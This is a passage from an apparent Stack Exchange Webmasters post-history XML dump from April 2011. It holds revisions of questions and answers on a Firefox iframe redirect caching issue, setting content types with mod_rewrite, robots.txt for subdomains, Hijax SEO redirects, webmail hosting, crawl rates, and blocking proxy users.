but you'll need to work with an html page of your own on web server you control so you can make changes and test behavior.&#xD;&#xA;&#xD;&#xA;The files I'm using are:&#xD;&#xA; 1. `http://www.fatfx.com/tests/doc1.html` -- this redirects to doc2.html after 5 seconds&#xD;&#xA; 2. `http://www.fatfx.com/tests/doc2.html` -- static file&#xD;&#xA; 3. `http://www.fatfx.com/tests/doc2.html` -- static file&#xD;&#xA;&#xD;&#xA;**Instructions:**&#xD;&#xA;&#xD;&#xA; 1. Create an HTML document and put this in its body:&#xD;&#xA;`&lt;iframe src=&quot;http://www.fatfx.com/tests/doc1.html&quot; width=&quot;300&quot; height=&quot;300&quot; /&gt;`&#xD;&#xA; 2. Load in Firefox. You should see `This is document one. Redirecting in 5 seconds...` and then `This is document two.`&#xD;&#xA; 3. Hit 'Reload'. You should see immediately `This is document two`.&#xD;&#xA; 4. Clear you cache and hit 'Reload'. You should see immediately `This is document two`.&#xD;&#xA; 5. Edit your document and change the URL from `doc1.html` to `doc3.html`. &#xD;&#xA; 6. Clear your cache and hit &quot;Reload&quot; in Firefox. You should STILL immediately see `This is document two.` Check your page source to confirm your code change from step 5 is there.&#xD;&#xA;&#xD;&#xA;**Notes:**&#xD;&#xA;I've tried altering the iframe tag by adding a unique ID; that didn't work. I've tried adding Cache-Control, Pragma and Expires meta tags to prevent document caching; that didn't work. I've tried writing out the tags programatically in JS; that didn't work. &#xD;&#xA;&#xD;&#xA;As I say, I encountered this behavior probably three years ago. This can't be a 'bug' but a desired behavior. But there must be some way around it.&#xD;&#xA;" />
  <row Id="26607" PostHistoryTypeId="2" PostId="11707" RevisionGUID="60112916-4879-4633-a03a-d4b11386e35f" CreationDate="2011-04-06T01:28:23.493" UserDisplayName="Walter Rumsby" Text="I have the following mod_rewrite rule:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^/yui-3.3/yui_config.js$ /web/yui/yui_config.js [R]&#xD;&#xA;&#xD;&#xA;when looking at the network traffic with Firebug and Chrome I noticed that `/yui-3.3/yui_config.js` reports its type as `text/html` which obviously doesn't look right. I tried changing the rule to:&#xD;&#xA;&#xD;&#xA;    RewriteRule ^/yui-3.3/yui_config.js$ /web/yui/yui_config.js [T=application/javascript,R]&#xD;&#xA;&#xD;&#xA;but the type is still `text/html`.&#xD;&#xA;&#xD;&#xA;How can I ensure that my file is served as `application/javascript`?" />
  <row Id="26608" PostHistoryTypeId="1" PostId="11707" RevisionGUID="60112916-4879-4633-a03a-d4b11386e35f" CreationDate="2011-04-06T01:28:23.493" UserDisplayName="Walter Rumsby" Text="Setting Content Type with mod_rewrite" />
  <row Id="26609" PostHistoryTypeId="3" PostId="11707" RevisionGUID="60112916-4879-4633-a03a-d4b11386e35f" CreationDate="2011-04-06T01:28:23.493" UserDisplayName="Walter Rumsby" Text="&lt;mod-rewrite&gt;" />
  <row Id="26610" PostHistoryTypeId="17" PostId="11707" RevisionGUID="57f707f4-c86a-4806-aaf1-20b72623849a" CreationDate="2011-04-06T02:05:03.417" UserId="-1" Comment="from http://serverfault.com/questions/256152/setting-content-type-with-mod-rewrite" Text="" />
  <row Id="26611" PostHistoryTypeId="5" PostId="11706" RevisionGUID="5abe86d0-c895-421b-8da1-9455bc08f2db" CreationDate="2011-04-06T02:07:30.187" UserId="6604" Comment="formatting fixed" Text="I encountered this same behavior years ago and gave up back then when I couldn't find a solution. I'm hoping someone knows what's going on here and how to solve it.&#xD;&#xA;&#xD;&#xA;I have found that if you have a page in Firefox that contains an iframe and in that iframe you load a sub-page that redirects to a second sub-page, you will never see the first sub-page again if you hit &quot;reload/refresh&quot;. The only way to see the first sub-page again is to close the window/tab and reopen the parent page. It seems that if you reload a page Firefox will *always* jump straight to the second sub-page every time. This happens even if you subsequently change the initial iframe URL in the parent document. And this **even** happens if you change the URL **and** clear your cache. &#xD;&#xA;&#xD;&#xA;When I encountered this problem before, it was causing issues with our ad serving, but this time it's a content issue. Has anyone encountered this themselves and know a way around it? &#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;**[EDIT]**&#xD;&#xA;&#xD;&#xA;I've created thee files you can use to test the iframe behavior, but you'll need to work with an html page of your own on web server you control so you can make changes and test behavior.&#xD;&#xA;&#xD;&#xA;The files I'm using are:&#xD;&#xA;&#xD;&#xA; 1. `http://www.fatfx.com/tests/doc1.html` -- this redirects to doc2.html after 5 seconds&#xD;&#xA; 2. `http://www.fatfx.com/tests/doc2.html` -- static file&#xD;&#xA; 3. `http://www.fatfx.com/tests/doc2.html` -- static file&#xD;&#xA;&#xD;&#xA;**Instructions:**&#xD;&#xA;&#xD;&#xA; 1. Create an HTML document and put this in its body:&#xD;&#xA;`&lt;iframe src=&quot;http://www.fatfx.com/tests/doc1.html&quot; width=&quot;300&quot; height=&quot;300&quot; /&gt;`&#xD;&#xA; 2. Load in Firefox. You should see `This is document one. Redirecting in 5 seconds...` and then `This is document two.`&#xD;&#xA; 3. Hit 'Reload'. You should see immediately `This is document two`.&#xD;&#xA; 4. Clear you cache and hit 'Reload'. You should see immediately `This is document two`.&#xD;&#xA; 5. Edit your document and change the URL from `doc1.html` to `doc3.html`. &#xD;&#xA; 6. Clear your cache and hit &quot;Reload&quot; in Firefox. You should STILL immediately see `This is document two.` Check your page source to confirm your code change from step 5 is there.&#xD;&#xA;&#xD;&#xA;**Notes:**&#xD;&#xA;I've tried altering the iframe tag by adding a unique ID; that didn't work. I've tried adding Cache-Control, Pragma and Expires meta tags to prevent document caching; that didn't work. I've tried writing out the tags programatically in JS; that didn't work. &#xD;&#xA;&#xD;&#xA;As I say, I encountered this behavior probably three years ago. This can't be a 'bug' but a desired behavior. But there must be some way around it.&#xD;&#xA;" />
  <row Id="26612" PostHistoryTypeId="2" PostId="11708" RevisionGUID="04657afc-9b79-4f18-a7f1-c10b0e66d64d" CreationDate="2011-04-06T02:10:31.650" UserId="6609" Text="Your rule won't work because the `T` mode is being set on the request that that rule triggers on.. but then you're sending a redirect.  The request where the `T=application/javascript` is set terminates in a 302 status code; a brand new request for the new location comes in separately and doesn't know about the `RewriteRule`.&#xD;&#xA;&#xD;&#xA;If the .js file is.. a js file (and not being dynamically generated or something), then its mime-type should be set by an `AddType application/javascript .js` directive buried in some default Apache config file, which is the &quot;proper&quot; way to do it.&#xD;&#xA;&#xD;&#xA;If that's there and still not working, then break out the big guns and overwrite the response header as the content goes out the door, trumping anything else that's breaking it:&#xD;&#xA;&#xD;&#xA;    RewriteEngine on&#xD;&#xA;    RewriteRule ^.*\.js$ - [env=headerjs:1]&#xD;&#xA;    Header set Content-type application/javascript env=headerjs" />
  <row Id="26614" PostHistoryTypeId="2" PostId="11709" RevisionGUID="1a680f15-a025-4185-bc64-db3df3d3d5e1" CreationDate="2011-04-06T03:04:52.810" UserId="1585" Text="I did a search and i found a link to my site... twice. They are exactly the same except one is www and the other is static. How do i tell google to ignore everything in my static domain?" />
  <row Id="26615" PostHistoryTypeId="1" PostId="11709" RevisionGUID="1a680f15-a025-4185-bc64-db3df3d3d5e1" CreationDate="2011-04-06T03:04:52.810" UserId="1585" Text="How do i tell google to ignore my subdomain?" />
  <row Id="26616" PostHistoryTypeId="3" PostId="11709" RevisionGUID="1a680f15-a025-4185-bc64-db3df3d3d5e1" CreationDate="2011-04-06T03:04:52.810" UserId="1585" Text="&lt;subdomain&gt;&lt;google-search&gt;" />
  <row Id="26617" PostHistoryTypeId="25" PostId="11707" RevisionGUID="2f03eb58-1ddc-4c88-aaed-d4697a8ba052" CreationDate="2011-04-06T03:09:00.653" Comment="http://twitter.com/#!/StackWebmasters/status/55467011978960896" />
  <row Id="26618" PostHistoryTypeId="2" PostId="11710" RevisionGUID="a25a3ad6-b345-4993-9d50-320d6df79a55" CreationDate="2011-04-06T04:24:10.230" UserId="4306" Text="Upload a robots.txt file to the root of the static subdomain. This can block all web spiders including the Googlebot.&#xD;&#xA;&#xD;&#xA;You can find instructions on how to format and configure your robots.txt file here:&#xD;&#xA;&#xD;&#xA;* http://www.robotstxt.org/robotstxt.html" />
  <row Id="26619" PostHistoryTypeId="2" PostId="11711" RevisionGUID="bfe327e4-9ecb-46f2-9ed6-2d72e5d8aa6b" CreationDate="2011-04-06T04:58:22.590" UserId="5056" Text="In your DNS control panel, enable only www to point to your site.  You most likely have your DNS settings configured to use * wildcard subdomains.&#xD;&#xA;" />
  <row Id="26620" PostHistoryTypeId="2" PostId="11712" RevisionGUID="c05e5ff1-e7a4-4b02-9cd4-19d865f1f04a" CreationDate="2011-04-06T05:34:11.473" UserId="6612" Text="### Question&#xD;&#xA;Will I get penalised as **&quot;[sneaky Javascript redirects][1]&quot;** by Google if I have the following Hijax setup (which requires a JavaScript redirect on the page index by google).&#xD;&#xA;&#xD;&#xA;### Goal&#xD;&#xA;I want to implement Hijax to enable AJAX content to be accessibile to non-JavaScript users and search engine crawlers.&#xD;&#xA;&#xD;&#xA;### Background&#xD;&#xA;&#xD;&#xA;1. I'm working on a static file server (GitHub Pages). No server side tricks allowed (so Google's #! &quot;hash bang&quot; [solution][2] is not an option).&#xD;&#xA;2. I'm trying to keep my files [DRY][3]. I don't want to repeat the common OUTER template in all my files i.e. header, navigation menu, footer, etc They will live in the main `index.html`&#xD;&#xA;&#xD;&#xA;### Setup the Hijax&#xD;&#xA;1. `index.html` page contains all OUTER html/css/js... the site's template.&#xD;&#xA;2. `index.html` has a `&lt;div id=&quot;content&quot;&gt;` which defaults to containing the &quot;homepage&quot; html.&#xD;&#xA;3. `index.html` has a navigation menu, with a Hijax link to an &quot;about&quot; page.&#xD;&#xA;4. With JavaScript **disabled** (e.g. crawler) it follows link to `/about.html`.&#xD;&#xA;5. With JavaScript **enabled** (e.g. most people) the link updates the url hash fragment to `/#about` and jQuery replaces the `&lt;div id=&quot;content&quot;&gt;` innerHTML with `$(&quot;#content&quot;).load(&quot;about.html #inner-container&quot;);`.&#xD;&#xA;&#xD;&#xA;### AJAX content&#xD;&#xA;&#xD;&#xA;`about.html` *does not* contain anything extra to try an cloak content for crawlers.&#xD;&#xA;&#xD;&#xA;`about.html` file contains enough HTML / CSS / JavaScript to display `/about.html` as a standalone page with it's own META data... e.g. `&lt;html&gt;&lt;head&gt;&lt;title&gt;About&lt;/title&gt;...&lt;/head&gt;&lt;body&gt;&lt;/body&gt;&lt;/html&gt;`.&#xD;&#xA;&#xD;&#xA;`about.html` has NO OUTER HTML template (i.e. header, navigation menu, footer, etc).&#xD;&#xA;&#xD;&#xA;`about.html` `&lt;body&gt;` contains a `&lt;div id=&quot;inner-container&quot;&gt;` which holds the content that is injected into `index.html`.&#xD;&#xA;&#xD;&#xA;`about.html` has a `&lt;noscript&gt;` tag as the first child of `&lt;body&gt;` which explains to non-JavaScript users that they are viewing the about page &quot;inner content&quot; - with a link to navigate to the `index.html` page to get the full page layout with menu.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### The (Sneaky?) Redirect&#xD;&#xA;&#xD;&#xA;Google indexes the `/about.html` page. However when a person with JavaScript enabled visits that page there is no OUTER html template (e.g. header, navigation menu, footer, etc). So I need to do a JavaScript redirect to get the person over the `/#about` page (deeplinking to the &quot;about&quot; page &quot;state&quot; in `index.html`). &#xD;&#xA;&#xD;&#xA;I'm thinking of doing a &quot;[redirect on click or after 10 seconds][4]&quot;.&#xD;&#xA;&#xD;&#xA;The end results is that user ends up on an &quot;enhanced&quot; page back on `index.html` with all it's OUTER template - but the **core** &quot;page&quot; content is practically identical.&#xD;&#xA;&#xD;&#xA;### Known issue with inbound links e.g. Share / Bookmarking&#xD;&#xA;&#xD;&#xA;It seems that if a user shares the URL `/#about` on their blog, when allocating inbound links to my site Google ignores everything after the `#` ... it allocates value to the `/` page - See: http://stackoverflow.com/questions/5028405/hashbang-vs-hijax/5166665#5166665. &#xD;&#xA;&#xD;&#xA;I can only try an minimise this issue offering &quot;share&quot; buttons on the page with the appropriate urls i.e. `/about.html`.&#xD;&#xA;&#xD;&#xA;### Duplicate&#xD;&#xA;Sorry. I posted this same question over on http://stackoverflow.com/questions/5561686/hijax-sneaky-javascript-redirects-will-i-get-banned-from-google ... then realised it probably belongs more on this Stack Exchange site... Not sure if I should delete the Stack Overflow question? Or just leave it on both sites? Please leave comment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66355&#xD;&#xA;  [2]: http://code.google.com/web/ajaxcrawling/docs/specification.html&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Don%27t_repeat_yourself&#xD;&#xA;  [4]: http://stackoverflow.com/questions/3234017/jquery-redirect-on-click-or-after-10-seconds/3234034#3234034" />
  <row Id="26621" PostHistoryTypeId="1" PostId="11712" RevisionGUID="c05e5ff1-e7a4-4b02-9cd4-19d865f1f04a" CreationDate="2011-04-06T05:34:11.473" UserId="6612" Text="Hijax == sneaky Javascript redirects? Will I get banned from Google?" />
  <row Id="26622" PostHistoryTypeId="3" PostId="11712" RevisionGUID="c05e5ff1-e7a4-4b02-9cd4-19d865f1f04a" CreationDate="2011-04-06T05:34:11.473" UserId="6612" Text="&lt;seo&gt;&lt;google&gt;&lt;javascript&gt;&lt;ajax&gt;&lt;redirects&gt;" />
  <row Id="26623" PostHistoryTypeId="25" PostId="11709" RevisionGUID="957b703d-cb35-4b19-b751-35eeee7f82e8" CreationDate="2011-04-06T06:09:01.160" Comment="http://twitter.com/#!/StackWebmasters/status/55512311477182464" />
  <row Id="26624" PostHistoryTypeId="5" PostId="11712" RevisionGUID="68f406fa-566a-4758-9c8f-12563af50488" CreationDate="2011-04-06T06:40:43.797" UserId="6612" Comment="corrected spelling" Text="### Question&#xD;&#xA;Will I get penalised as **&quot;[sneaky Javascript redirects][1]&quot;** by Google if I have the following Hijax setup (which requires a JavaScript redirect on the page indexed by google).&#xD;&#xA;&#xD;&#xA;### Goal&#xD;&#xA;I want to implement Hijax to enable AJAX content to be accessibile to non-JavaScript users and search engine crawlers.&#xD;&#xA;&#xD;&#xA;### Background&#xD;&#xA;&#xD;&#xA;1. I'm working on a static file server (GitHub Pages). No server side tricks allowed (so Google's #! &quot;hash bang&quot; [solution][2] is not an option).&#xD;&#xA;2. I'm trying to keep my files [DRY][3]. I don't want to repeat the common OUTER template in all my files i.e. header, navigation menu, footer, etc They will live in the main `index.html`&#xD;&#xA;&#xD;&#xA;### Setup the Hijax&#xD;&#xA;1. `index.html` page contains all OUTER html/css/js... the site's template.&#xD;&#xA;2. `index.html` has a `&lt;div id=&quot;content&quot;&gt;` which defaults to containing the &quot;homepage&quot; html.&#xD;&#xA;3. `index.html` has a navigation menu, with a Hijax link to an &quot;about&quot; page.&#xD;&#xA;4. With JavaScript **disabled** (e.g. crawler) it follows link to `/about.html`.&#xD;&#xA;5. With JavaScript **enabled** (e.g. most people) the link updates the url hash fragment to `/#about` and jQuery replaces the `&lt;div id=&quot;content&quot;&gt;` innerHTML with `$(&quot;#content&quot;).load(&quot;about.html #inner-container&quot;);`.&#xD;&#xA;&#xD;&#xA;### AJAX content&#xD;&#xA;&#xD;&#xA;`about.html` *does not* contain anything extra to try an cloak content for crawlers.&#xD;&#xA;&#xD;&#xA;`about.html` file contains enough HTML / CSS / JavaScript to display `/about.html` as a standalone page with it's own META data... e.g. `&lt;html&gt;&lt;head&gt;&lt;title&gt;About&lt;/title&gt;...&lt;/head&gt;&lt;body&gt;&lt;/body&gt;&lt;/html&gt;`.&#xD;&#xA;&#xD;&#xA;`about.html` has NO OUTER HTML template (i.e. header, navigation menu, footer, etc).&#xD;&#xA;&#xD;&#xA;`about.html` `&lt;body&gt;` contains a `&lt;div id=&quot;inner-container&quot;&gt;` which holds the content that is injected into `index.html`.&#xD;&#xA;&#xD;&#xA;`about.html` has a `&lt;noscript&gt;` tag as the first child of `&lt;body&gt;` which explains to non-JavaScript users that they are viewing the about page &quot;inner content&quot; - with a link to navigate to the `index.html` page to get the full page layout with menu.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;### The (Sneaky?) Redirect&#xD;&#xA;&#xD;&#xA;Google indexes the `/about.html` page. However when a person with JavaScript enabled visits that page there is no OUTER html template (e.g. header, navigation menu, footer, etc). So I need to do a JavaScript redirect to get the person over the `/#about` page (deeplinking to the &quot;about&quot; page &quot;state&quot; in `index.html`). &#xD;&#xA;&#xD;&#xA;I'm thinking of doing a &quot;[redirect on click or after 10 seconds][4]&quot;.&#xD;&#xA;&#xD;&#xA;The end results is that user ends up on an &quot;enhanced&quot; page back on `index.html` with all it's OUTER template - but the **core** &quot;page&quot; content is practically identical.&#xD;&#xA;&#xD;&#xA;### Known issue with inbound links e.g. Share / Bookmarking&#xD;&#xA;&#xD;&#xA;It seems that if a user shares the URL `/#about` on their blog, when allocating inbound links to my site Google ignores everything after the `#` ... it allocates value to the `/` page - See: http://stackoverflow.com/questions/5028405/hashbang-vs-hijax/5166665#5166665. &#xD;&#xA;&#xD;&#xA;I can only try an minimise this issue offering &quot;share&quot; buttons on the page with the appropriate urls i.e. `/about.html`.&#xD;&#xA;&#xD;&#xA;### Duplicate&#xD;&#xA;Sorry. I posted this same question over on http://stackoverflow.com/questions/5561686/hijax-sneaky-javascript-redirects-will-i-get-banned-from-google ... then realised it probably belongs more on this Stack Exchange site... Not sure if I should delete the Stack Overflow question? Or just leave it on both sites? Please leave comment.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?answer=66355&#xD;&#xA;  [2]: http://code.google.com/web/ajaxcrawling/docs/specification.html&#xD;&#xA;  [3]: http://en.wikipedia.org/wiki/Don%27t_repeat_yourself&#xD;&#xA;  [4]: http://stackoverflow.com/questions/3234017/jquery-redirect-on-click-or-after-10-seconds/3234034#3234034" />
  <row Id="26625" PostHistoryTypeId="2" PostId="11713" RevisionGUID="0c1ef48b-1979-4d32-9418-d1601da47fef" CreationDate="2011-04-06T01:56:05.527" UserDisplayName="Haris" Text="I bought Media Temple hosting and want to build a Wordpress.org site using a domain I bought on GoDaddy. &#xD;&#xA;&#xD;&#xA;**What steps do I need to take to make Media Temple recognize my GoDaddy domain as one that it should host?**" />
  <row Id="26626" PostHistoryTypeId="1" PostId="11713" RevisionGUID="0c1ef48b-1979-4d32-9418-d1601da47fef" CreationDate="2011-04-06T01:56:05.527" UserDisplayName="Haris" Text="How do I host a domain I bought on GoDaddy on Media Temple?" />
  <row Id="26627" PostHistoryTypeId="3" PostId="11713" RevisionGUID="0c1ef48b-1979-4d32-9418-d1601da47fef" CreationDate="2011-04-06T01:56:05.527" UserDisplayName="Haris" Text="&lt;wordpress&gt;&lt;godaddy&gt;&lt;mediatemple&gt;" />
  <row Id="26628" PostHistoryTypeId="17" PostId="11713" RevisionGUID="bb9de241-45c5-4ccf-8881-a9ec7d43bf76" CreationDate="2011-04-06T07:08:10.390" UserId="-1" Comment="from http://stackoverflow.com/questions/5560673/how-do-i-host-a-domain-i-bought-on-godaddy-on-media-temple" Text="" />
  <row Id="26629" PostHistoryTypeId="2" PostId="11714" RevisionGUID="9f01ccbc-4103-45c4-ba69-6759b1d6c082" CreationDate="2011-04-06T07:13:57.307" UserId="6614" Text="We are a small webhosting company serving NGOs in Finland. We lease 5 Parallels PLESK powered VPS of which 2 are mailservers. We have over 2000 mailboxes on 500 domains. The biggest problem is the crappy Horde webmail we provide to our customers today. &#xD;&#xA;&#xD;&#xA;Our current server provider tells us they are married with the Parallels PLESK and PBA suites (witch are outdated as well), and cannot integrate another webmail than Horde to their offering. &#xD;&#xA;&#xD;&#xA;So we want to provide a better mailservice (specially the webmail and mobile mail part). Now, we love gmail and Google Apps, but as far as I can decipher online there is no way to manage this many domains and accounts centraliced through their admin panels, or is there? Google is not ansvering my questions on this, I guess theyre not intesrested in dealing with small companies like ours.&#xD;&#xA;&#xD;&#xA;What we need is: &#xD;&#xA;&#xD;&#xA;* A mail service that has good webmail and preferably a decent mobile interface&#xD;&#xA;&#xD;&#xA;* Price up to 20€/account/year (up to 50€/account/year with shared calendars and docs), min space 1Gb/account&#xD;&#xA;&#xD;&#xA;* Control panel with 3 user levels &#xD;&#xA;     - us (reseller, global admin): to manage all 500 domains and their 2000 accounts&#xD;&#xA;     - domain admin: ability to administrate all the mailboxes (accounts) in their domain &#xD;&#xA;     - user panel: for the mail user to manage passwords, autoresponders...&#xD;&#xA;&#xD;&#xA; &amp;nbsp;&#xD;&#xA;* API: We have hosting plans with DNS templates in our PBA environment. These automatically point the MX-records to the mailprovider (the rest to our webservers, such as www, ftp and so on), so there must be an easy way to start new domains at the mailprovider, preferably by a script on our server. &#xD;&#xA;&#xD;&#xA;I guess the initial migration to the new mailprovider is going to be a pain in the behind. We do get our current account data exported as XML and CSV, but what about the other end, any services with migration tools? &#xD;&#xA;&#xD;&#xA;Cheers!&#xD;&#xA;Rob&#xD;&#xA;" />
  <row Id="26630" PostHistoryTypeId="1" PostId="11714" RevisionGUID="9f01ccbc-4103-45c4-ba69-6759b1d6c082" CreationDate="2011-04-06T07:13:57.307" UserId="6614" Text="Good webmail service provider" />
  <row Id="26631" PostHistoryTypeId="3" PostId="11714" RevisionGUID="9f01ccbc-4103-45c4-ba69-6759b1d6c082" CreationDate="2011-04-06T07:13:57.307" UserId="6614" Text="&lt;domain&gt;&lt;email&gt;" />
  <row Id="26632" PostHistoryTypeId="2" PostId="11715" RevisionGUID="b9bfe8e4-832a-4b63-87c9-97b339591264" CreationDate="2011-04-06T07:22:30.420" UserId="2185" Text="My site was running well for the past three years. Recently googlebot's request my server got increased. and at one time i got network unreachable error. When i contacted my hosting company they asked suggestions from me and i gave a list of google ips to white list. They said that their server will block ip's which are of huge traffic. &#xD;&#xA;&#xD;&#xA;After that my site appeared well in google. Now after a month again i get network unreachable. when i inquired them they said i have to change my plan from shared hosting to a vps account or a dedicated hosting.&#xD;&#xA;&#xD;&#xA;I have 300 links indexed by google. will that affect much? So i thought of reducing the crawl rate. Please see the image below and give me suggestions.![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/ZxnKg.png&#xD;&#xA;&#xD;&#xA;Previously it was default and now i reduced to the one shown in the picture. Will this affect my indexing in google.&#xD;&#xA;&#xD;&#xA;Besides will a server block google ip's for this kind of crawl rate like i have 300 links indexed. and they irresponsible say that i have to switch over to vps. confused." />
  <row Id="26633" PostHistoryTypeId="1" PostId="11715" RevisionGUID="b9bfe8e4-832a-4b63-87c9-97b339591264" CreationDate="2011-04-06T07:22:30.420" UserId="2185" Text="google webmastertools will curtom crawl rate affects indexing what are the effects of custom crawl rate" />
  <row Id="26634" PostHistoryTypeId="3" PostId="11715" RevisionGUID="b9bfe8e4-832a-4b63-87c9-97b339591264" CreationDate="2011-04-06T07:22:30.420" UserId="2185" Text="&lt;google-webmaster-tools&gt;&lt;google-crawlers&gt;" />
  <row Id="26635" PostHistoryTypeId="2" PostId="11716" RevisionGUID="ae17f29e-52fa-480a-aede-ceb04c07bbfc" CreationDate="2011-04-06T07:49:36.527" UserId="1089" Text="A slightly different take on the first impressions. In the UK there have been quite a few stories of &quot;fake&quot; websites selling products/services which are either of incredibly poor quality or don't sell you anything at all. &#xD;&#xA;&#xD;&#xA;The royal wedding later this month and 2012 Olympics means the stories are beginning to crop up again.&#xD;&#xA;&#xD;&#xA;To bring this round to your question directly, the media in the UK say a few things with regards to first impressions and a site legitimacy - things like a UK based telephone number clearly displayed, a contact address. https being used when inputting credit card details etc. &#xD;&#xA;&#xD;&#xA;I think these general principles can be applied here. The general UK public are being essentially told to look for certain things before even considering buying a product/service via a website." />
  <row Id="26636" PostHistoryTypeId="2" PostId="11717" RevisionGUID="4fa20006-365d-4a68-bc07-ee3a2ec4eeab" CreationDate="2011-04-06T07:57:05.273" UserId="1089" Text="The first factor for me depends on how and why you are involved - are you being asked to fix errors on a site you built, or are you being brought in to fix what essentially sounds like someone elses mess?&#xD;&#xA;&#xD;&#xA;As you have used the tag &quot;cms&quot; but not specified which cms it is, it might be worth noting that some of the warnings/errors might not be able to be fixed." />
  <row Id="26637" PostHistoryTypeId="17" PostId="11719" RevisionGUID="ec9ba8df-1ea5-4724-bc10-f6ec8bae32ab" CreationDate="2011-04-06T08:02:36.440" UserId="-1" Comment="from http://stackoverflow.com/questions/5554913/which-is-more-accurate-google-webmaster-or-google-analytics/5554945#5554945" Text="" />
  <row Id="26638" PostHistoryTypeId="2" PostId="11719" RevisionGUID="191922de-39c1-450e-a6c7-7cf8a86d3b9e" CreationDate="2011-04-05T16:11:01.380" UserDisplayName="dontomaso" Text="Google Analytics only works for visitors running javascript, that also wait for your javascript to load and communicate with Google.&#xD;&#xA;&#xD;&#xA;This would exclude most bots and people who did not want to wait for your page to load.&#xD;&#xA;&#xD;&#xA;Webmaster tools on the other hand also shows information about how a site performs in the search result pages.&#xD;&#xA;&#xD;&#xA;I personally think the analytics data is more useful.&#xD;&#xA;" />
  <row Id="26639" PostHistoryTypeId="2" PostId="11718" RevisionGUID="28b5fd94-6436-4774-b122-62030bccfcbf" CreationDate="2011-04-05T16:08:22.393" UserDisplayName="danniel" Text="I see differences between Google Analytics and Google Webmaster Tools. Why are they different and which is more accurate. How can i interpret data from both correctly?" />
  <row Id="26640" PostHistoryTypeId="1" PostId="11718" RevisionGUID="28b5fd94-6436-4774-b122-62030bccfcbf" CreationDate="2011-04-05T16:08:22.393" UserDisplayName="danniel" Text="Which is more accurate? Google Webmaster or Google Analytics" />
  <row Id="26641" PostHistoryTypeId="3" PostId="11718" RevisionGUID="28b5fd94-6436-4774-b122-62030bccfcbf" CreationDate="2011-04-05T16:08:22.393" UserDisplayName="danniel" Text="&lt;google&gt;&lt;websites&gt;&lt;seo&gt;&lt;google-analytics&gt;&lt;google-webmaster-tools&gt;" />
  <row Id="26642" PostHistoryTypeId="17" PostId="11718" RevisionGUID="4e145b03-92aa-4b75-8929-fdb1bfddff86" CreationDate="2011-04-06T08:02:36.440" UserId="-1" Comment="from http://stackoverflow.com/questions/5554913/which-is-more-accurate-google-webmaster-or-google-analytics" Text="" />
  <row Id="26643" PostHistoryTypeId="2" PostId="11720" RevisionGUID="72dde0a8-d611-46fc-b13e-d2efd024bebe" CreationDate="2011-04-06T08:07:45.273" UserId="1643" Text="I think this article on the Media Temple knowledgebase should tell you what you need. http://kb.mediatemple.net/questions/5/%28mt%29+Media+Temple%27s+DNS%7B47%7DNameserver+information" />
  <row Id="26644" PostHistoryTypeId="2" PostId="11721" RevisionGUID="c1a08424-3bed-417f-8f92-af2d726e18fc" CreationDate="2011-04-06T08:24:04.043" UserId="6615" Text="Can anyone think of ways to prevent users from registering to a .php page under certain proxies? What would a group of proxies have in similar that might not effect regular users? For example, if you use Your Freedom, and try to access a .php page, is there any common factor that could be used to keep them off that part of the website in particular?&#xD;&#xA;&#xD;&#xA;I'm not looking for an answer like 'ban by IP' though. All of the IPs used by Your Freedom are from entirely different countries, and there are infinite ways to change the IP range." />
  <row Id="26645" PostHistoryTypeId="1" PostId="11721" RevisionGUID="c1a08424-3bed-417f-8f92-af2d726e18fc" CreationDate="2011-04-06T08:24:04.043" UserId="6615" Text="Ways To Block Your Freedom and Similar Proxies?" />
  <row Id="26646" PostHistoryTypeId="3" PostId="11721" RevisionGUID="c1a08424-3bed-417f-8f92-af2d726e18fc" CreationDate="2011-04-06T08:24:04.043" UserId="6615" Text="&lt;php&gt;&lt;proxy&gt;" />
  <row Id="26647" PostHistoryTypeId="2" PostId="11722" RevisionGUID="f656652f-331b-4ef8-a061-5f887eba9de8" CreationDate="2011-04-06T08:49:54.680" UserId="6467" Text="I have had clients site drop out of the index because Google thought the JavaScript was suspicious. This normally happens when a programmer comes up with a clever method to do something shady. &#xD;&#xA;&#xD;&#xA;My advice is this: If you have to ask, its probably a problem. Does it substantially improve the user experience? If not, why take the risk? &#xD;&#xA;" />
  <row Id="26648" PostHistoryTypeId="2" PostId="11723" RevisionGUID="d1180fa2-394c-4f2c-bba5-0112f0601ba5" CreationDate="2011-04-06T09:04:52.737" UserId="1643" Text="The way it will affect your indexing is that they will check your site less often. If your content has changed then &#xD;&#xA;&#xD;&#xA; - they will still list the old content when they show extracts from the pages in the search results&#xD;&#xA; - if it's got &quot;better&quot; as far as Google is concerned, in other words, better ranking, it will take longer before your site goes up in the rankings&#xD;&#xA;&#xD;&#xA;" />
  <row Id="26649" PostHistoryTypeId="25" PostId="11721" RevisionGUID="1757c3fd-1544-4137-a8bb-e3baf520f7a7" CreationDate="2011-04-06T09:09:01.797" Comment="http://twitter.com/#!/StackWebmasters/status/55557613143863296" />
  <row Id="26650" PostHistoryTypeId="2" PostId="11724" RevisionGUID="a30ec1e8-87c6-4926-9c90-fa5630e717f8" CreationDate="2011-04-06T09:39:59.117" UserId="6012" Text="If your site is served with apache, you can use mod_rewrite to serve a custom robots.txt depending upon the HTTP_HOST variable.&#xD;&#xA;" />
  <row Id="26651" PostHistoryTypeId="5" PostId="11714" RevisionGUID="c190c66c-a767-4146-8a3c-49c6d01d9272" CreationDate="2011-04-06T09:50:37.360" UserId="6614" Comment="deleted 11 characters in body; deleted 71 characters in body" Text="We are a small webhosting company serving NGOs. We lease 2 Parallels PLESK powered VPS mailservers. We have over 2000 mailboxes on 500 domains. The biggest problem is the crappy Horde webmail we provide to our customers today. Our server provider is married with the Parallels PLESK and PBA suites, and cannot integrate another webmail than Horde to their offering. &#xD;&#xA;&#xD;&#xA;So we want to provide a better mailservice (specially the webmail and mobile mail part). Now, we love gmail and Google Apps, but as far as I can decipher online there is no way to manage this many domains and accounts centraliced through their admin panels, or is there? Google is not ansvering my questions on this, I guess theyre not intesrested in dealing with small companies like ours.&#xD;&#xA;&#xD;&#xA;What we need is: &#xD;&#xA;&#xD;&#xA;* A mail service that has 